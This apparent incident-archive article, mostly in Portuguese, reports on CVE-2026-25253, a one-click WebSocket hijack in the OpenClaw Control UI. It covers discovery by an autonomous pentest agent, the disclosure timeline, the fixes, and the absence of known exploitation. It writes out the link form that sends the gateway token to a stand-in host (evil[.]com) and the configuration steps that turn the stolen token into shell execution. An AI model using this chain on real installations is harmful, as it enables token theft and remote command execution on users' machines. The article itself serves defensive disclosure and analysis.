
Sequestro de WebSocket na OpenClaw Control UI: um link para RCE
- OrcaNOVOOrcaCyber: GLM 5.3 Abliterated / Uncensored2026-11-04$3.00 / $5.00 por 1M de tokens · 75 tok/s
- OrcaNOVOOrcaCyber: Hy4 Abliterated / Uncensored2026-11-04$0.80 / $1.60 por 1M de tokens · 112 tok/s
- OrcaNOVOOrcaCyber: Kimi K3.1 Pro Abliterated / Uncensored2026-11-04$4.00 / $20.00 por 1M de tokens · 43 tok/s
- orcaNOVOOrca: OrcaC2 1.02026-10-303 tok/s
- OrcaNOVOOrcaCyber: MiniMax M3.1 Flash Abliterated / Uncensored2026-10-29$0.80 / $1.60 por 1M de tokens · 100 tok/s
- OrcaNOVOOrcaCyber: GLM 5.3 Flash Abliterated / Uncensored2026-10-27$0.80 / $1.60 por 1M de tokens · 101 tok/s
- OrcaNOVOOrcaCyber: Qwen3.8 Flash Next Abliterated / Uncensored2026-10-26$0.80 / $1.60 por 1M de tokens · 95 tok/s
- OrcaNOVOOrcaCyber: MiMo V2.6 Flash Abliterated / Uncensored2026-10-26$0.80 / $1.60 por 1M de tokens · 50 tok/s
- MoonshotNOVOMoonshotAI: Kimi K3.1 Pro2026-10-2447Inteligência
- OrcaNOVOOrcaCyber: DeepSeek V4.1 Flash Abliterated / Uncensored2026-10-23$0.80 / $1.60 por 1M de tokens · 79 tok/s
- minimaxMiniMax: M3.1 Flash2026-10-1929Inteligência
- OrcaOrca: OrcaCyber Ultra 1.02026-10-17$5.00 / $10.00 por 1M de tokens · 111 tok/s
- deepseekDeepSeek: DeepSeek V4.1 Flash 10172026-10-1733Inteligência
- DeepSeekDeepSeek: DeepSeek V4.1 Flash2026-10-1740Inteligência
- OrcaOrca: OrcaCyber Zero 1.52026-10-10$3.00 / $7.50 por 1M de tokens · 56 tok/s
- openaiOpenAI: GPT-6.1 Sol2026-09-2955Inteligência
- anthropicAnthropic: Claude Sonnet 5.52026-09-2855Inteligência
- typesafeTypeSafe: Jev 1.132026-09-24$0.04 / $0.00 por 1M de tokens · 162 tok/s
- OpenAIOpenAI: GPT-6 Luna2026-09-2228Inteligência
- OpenAIOpenAI: GPT-6 Sol2026-09-2244Inteligência
Em 29 de janeiro de 2026, a empresa de segurança Ethiack publicou seu relato de uma falha no OpenClaw, o agente pessoal de IA de código aberto que roda na própria máquina do usuário e é controlado a partir de um painel no navegador chamado Control UI. Um link especialmente criado poderia fazer com que esse painel entregasse a um atacante o token de autenticação do gateway e, com ele, a capacidade de executar comandos de shell como o usuário conectado. O CVE-2026-25253 veio em 1º de fevereiro de 2026, e o próprio aviso do projeto no dia seguinte, ambos classificando a falha como 8,8, alta. Toda implantação em que alguém tivesse entrado no Control UI estava no escopo, incluindo instâncias acessíveis apenas via loopback. Nenhuma fonte consultada para este artigo registra o uso da falha contra um usuário real. O arquivo registra o episódio como um incidente de infraestrutura de alta severidade, com grau de confiança B e data de precisão diária de 29 de janeiro de 2026, ao lado de suas outras entradas de segurança de agentes no Orca AI Incident Archive.
O que a {{1}}Control UI{{/1}} fez com um URL
O OpenClaw é um agente auto-hospedado que seus usuários acessam por meio de aplicativos de mensagens e de um painel web, e que opera com o que o relatório da Ethiack chama de "acesso total ao sistema". O projeto já havia sido renomeado mais de uma vez, tendo recebido os nomes Clawdbot e Moltbot antes de OpenClaw, e o registro do npm lista o openclaw como um pacote criado em 29 de janeiro de 2026 às 11:08 UTC. O painel é a peça que importa aqui: ele mantinha o token do gateway no armazenamento do navegador, e é onde a falha residia.
The Control UI read a gatewayUrl value out of the page's query string in a function named applySettingsFromUrl() and adopted it without checking whether the target was a trusted or local domain. It then connected to that address automatically on page load, with no prompt, and the WebSocket connect frame carried the stored gateway authentication token along with a device ID and public key (SonicWall Capture Labs, 26 February 2026). A link of the form http://<target>/chat?gatewayUrl=ws://evil[.]com was therefore enough to send the token to a server the attacker controlled. OpenClaw's own advisory states the behaviour plainly: "The Control UI trusts gatewayUrl from the query string without validation and auto-connects on load, sending the stored gateway token in the WebSocket connect payload."
Dois fatos sobre navegadores transformam esse vazamento em uma tomada de controle. Os navegadores não aplicam a política de mesma origem às conexões WebSocket da mesma forma que às requisições HTTP comuns, e o gateway não validava o cabeçalho Origin no upgrade, então o JavaScript em uma página que a vítima visitou podia abrir um socket diretamente para ws://localhost:18789 (depthfirst, 1 de fevereiro de 2026). Como é o próprio navegador da vítima que faz a conexão de saída, o ataque alcançava gateways vinculados ao loopback e invisíveis a partir da rede. "Esta vulnerabilidade é explorável até em instâncias configuradas para escutar somente no loopback, já que o navegador da vítima inicia a conexão de saída", diz o aviso do projeto. A Ethiack registrou mais uma condição na época: a versão estável do Chrome que ela testou não trazia a permissão de Acesso à Rede Local por padrão, então o navegador também não exibia nenhum prompt.
O que o token roubado permite obter é o resto da história. Ele carregava os escopos operator.admin e operator.approvals. Com eles, um atacante poderia desativar as aprovações de execução definindo exec.approvals.set como "off", mover o host de execução para fora do contêiner definindo tools.exec.host como "gateway", e então executar comandos de shell no host por meio de uma requisição node.invoke / system.run (depthfirst, 1 de fevereiro de 2026; The Hacker News, 2 de fevereiro de 2026). O aviso do fornecedor resume o resultado em uma frase: o atacante pode "modificar a configuração (sandbox, políticas de ferramentas) e invocar ações privilegiadas, alcançando RCE com 1 clique".

Encontrado em menos de duas horas, por uma máquina
A descoberta foi, ela própria, um exercício de IA. A Ethiack lançou o seu agente autónomo de testes de intrusão, o Hackian, contra uma instância ativa do OpenClaw em 26 de janeiro de 2026, às 13:21 UTC. Confirmou a falha às 15:05 UTC, cerca de uma hora e quarenta minutos depois, que é o valor destacado no relatório da Ethiack. A empresa comunicou-a aos responsáveis do OpenClaw às 18:02 UTC. Seguiu-se um pull request em 27 de janeiro e a correção chegou ao ramo principal na noite de 28 de janeiro, segundo a cronologia publicada pela Ethiack e o histórico de commits do projeto.
Uma segunda equipe chegou à mesma conclusão de forma independente. Mav Levin, pesquisador de segurança fundador da depthfirst, publicou sua própria análise em 1º de fevereiro de 2026, escrevendo que "A equipe do OpenClaw tratou e corrigiu rapidamente o problema que eu reportei" e que outra pessoa havia reportado o mesmo bug de forma independente. O advisory do GitHub credita DepthFirstDisclosures como o relator e lista tanto 0xacb e mavlevin entre os descobridores. A conta 0xacb tem o nome de perfil André Baptista, um dos três coautores do relato da Ethiack, o que se encaixa na linha do tempo: o pull request da Ethiack referente à correção foi aberto a partir dessa conta em 27 de janeiro, e o commit dos mantenedores agradece a ela nominalmente. Nenhuma fonte consultada para este artigo diz que os dois esforços tinham conhecimento um do outro antes da publicação, e nenhuma contesta o crédito.

A data do registro, e as datas ao redor dela
O arquivo data esta entrada em 29 de janeiro de 2026 com precisão de dia, e isso coincide com o dia em que a pesquisa da Ethiack se tornou pública. A correção de código já havia sido integrada no dia anterior. A versão marcada que a incluía foi lançada nas primeiras horas de 30 de janeiro UTC, que é a noite de 29 de janeiro no horário do Pacífico dos Estados Unidos: o npm registra a versão 2026.1.29 às 04:49 UTC de 30 de janeiro, e o release do GitHub às 05:26 UTC. O registro CVE do MITRE tem data de 1º de fevereiro de 2026 às 22:34 UTC, o aviso do GitHub, de 2 de fevereiro às 23:41 UTC, e o The Hacker News noticiou a falha em 2 de fevereiro.
A fonte citada no registro, o rastreador de incidentes de agentes da Permission Protocol, mantém sua própria linha do tempo, e partes dela ficam atrasadas. Ele situa o lançamento da correção em 2026-01-29, consistente com o número da versão, mas data os "primeiros relatos" da vulnerabilidade em 2026-02-12 e a ampla divulgação pública da CVE-2026-25253 em 2026-02-26, com compilações independentes em 2026-03-24. Os documentos primários dizem o contrário. A data de 26 de fevereiro corresponde à análise de patch da SonicWall, publicada três semanas e meia depois de o identificador existir, e 12 de fevereiro fica entre os dois relatórios de pesquisa e a análise do fornecedor, em vez de antes deles. A última linha da linha do tempo do rastreador também chama o mecanismo de "zero-click"; o aviso do fornecedor chama-o de 1-click, e todos os relatos publicados descrevem uma vítima que precisa abrir um link. Onde essas datas e rótulos divergem, este artigo segue o registro da CVE, o aviso do fornecedor e os dois relatórios de pesquisa.
Vale registrar abertamente uma ressalva sobre essa fonte. A Permission Protocol vende um gate de autorização, e sua entrada enquadra o incidente em torno do que seu próprio produto teria bloqueado. A página classifica essa avaliação como condicional e afirma sobre si mesma que "a fonte não estabelece um resultado de prevenção do produto". O que o registro de fato traz com precisão é o seu enquadramento: a pesquisa era pública três dias antes de o CVE existir, e é por isso que o arquivo chama isto de descoberta precoce antes do CVE-2026-25253.
O que foi realmente prejudicado
Nada, pelo que qualquer fonte registra. O arquivo marca o registro real_harm como false, e isso é consistente com tudo o que foi publicado a respeito. O Centro de Cibersegurança da Bélgica emitiu um alerta em 2 de fevereiro de 2026 declarando que "Atualmente, não há evidências de que esta vulnerabilidade tenha sido explorada em ambiente real". Nem Ethiack, depthfirst, SonicWall nem The Hacker News relatam uma vítima, uma instalação comprometida ou dados obtidos, e nenhum deles informa um número de quantas instalações foram expostas. A Ethiack observa apenas que havia "inúmeras instâncias rodando em servidores públicos" com configuração fraca, o que é uma impressão, e não uma contagem.
O que existe é código de exploit funcional. A Ethiack publicou o código-fonte completo do exploit junto com seu write-up e demonstrou a cadeia contra sua própria instância. A análise da SonicWall de fevereiro mostra a captura de token "usando um exploit disponível publicamente". Um repositório de prova de conceito de terceiros surgiu no GitHub em 9 de março de 2026. Código de exploit público não é o mesmo que exploração, e o sinalizador de dano do arquivo diz respeito a esta última.
Uma fonte é menos rigorosa que as demais e vale a pena sinalizar. A seção de risco do aviso belga descreve o próprio bot renderizando conteúdo controlado pelo atacante como o gatilho, o que não é o mecanismo no aviso do fornecedor nem em nenhum dos dois relatórios de pesquisa: nos três, o navegador da vítima é atraído para um link e o agente é o alvo, não o veículo de entrega. Sua declaração de exploração é a parte citável; seu resumo do mecanismo não é.
O que mudou e o que a primeira correção deixou em aberto
A correção na versão 2026.1.29 adicionou uma caixa de diálogo de confirmação antes que a Control UI mude para uma URL de gateway diferente. O aviso do projeto descreve a mudança como "Com a mudança, os usuários agora precisam confirmar a nova URL do gateway na UI", e o arquivo que renderiza a caixa de diálogo está presente na tag v2026.1.29. Isso aumenta o custo do ataque de um clique para um clique mais uma confirmação deliberada. Isso não remove a confiança subjacente em um parâmetro de URL.
A validação de origem, a outra metade da cadeia, veio depois. A análise do patch da SonicWall registra que "atualizações posteriores implementaram controles rigorosos de validação de origem", listando quatro verificações: rejeitar um cabeçalho Origin ausente ou inválido; permitir um host de Origin que corresponda ao cabeçalho Host; permitir loopback para loopback; permitir origens nomeadas em uma lista allowedOrigins configurada; e rejeitar todo o resto. A sequência é visível no código-fonte do projeto na tag v2026.1.29, onde o manipulador de upgrade do WebSocket lê e registra o cabeçalho Origin sem aplicar uma política a ele.
Outras respostas foram detecção, não código. A SonicWall lançou a assinatura IPS 21908 para o que chama de exposição de dados sensíveis do OpenClaw. A depthfirst recomendou atualizar e rotacionar o token do gateway se houvesse suspeita de exposição, o que decorre diretamente do mecanismo: um token roubado permanece válido até que alguém o altere.
O que está estabelecido, e o que não está
Confirmado, com base em documentos primários: o caminho de código vulnerável lia gatewayUrl da query string e se conectava automaticamente sem validação; o frame de conexão carregava o token armazenado; o gateway não validava a origem WebSocket, então um navegador em qualquer site podia alcançar o loopback; o token carregava escopos de administrador e de aprovação; versões anteriores a 2026.1.29 foram afetadas; e duas equipes encontraram a falha independentemente, uma delas um agente autônomo atuando de fora.
Não estabelecido: se alguém explorou isso, quantas instalações estavam alcançáveis na época e se o diálogo de confirmação sozinho derrotaria um atacante determinado. A nota B do arquivo reflete uma base de citações de um único rastreador secundário, e não qualquer dúvida sobre os mecanismos, e o registro não está marcado como contestado. Esses mecanismos são corroborados pelo aviso do fornecedor, pelo registro CVE do MITRE e por dois relatórios de pesquisa independentes, o que é mais do que o próprio registro afirma por conta própria.

O resumo de uma linha do arquivo considera isto uma descoberta precoce anterior à CVE-2026-25253, e é assim que se deve ler o registo: o registo de uma falha encontrada, reportada e corrigida antes de ter um identificador, num produto concebido para executar comandos na máquina onde reside. A CVE que se seguiu descreve os mesmos três comportamentos — um parâmetro de consulta, uma ligação não solicitada e um token no handshake —, e nenhuma fonte consultada para este artigo coloca alguém do outro lado.
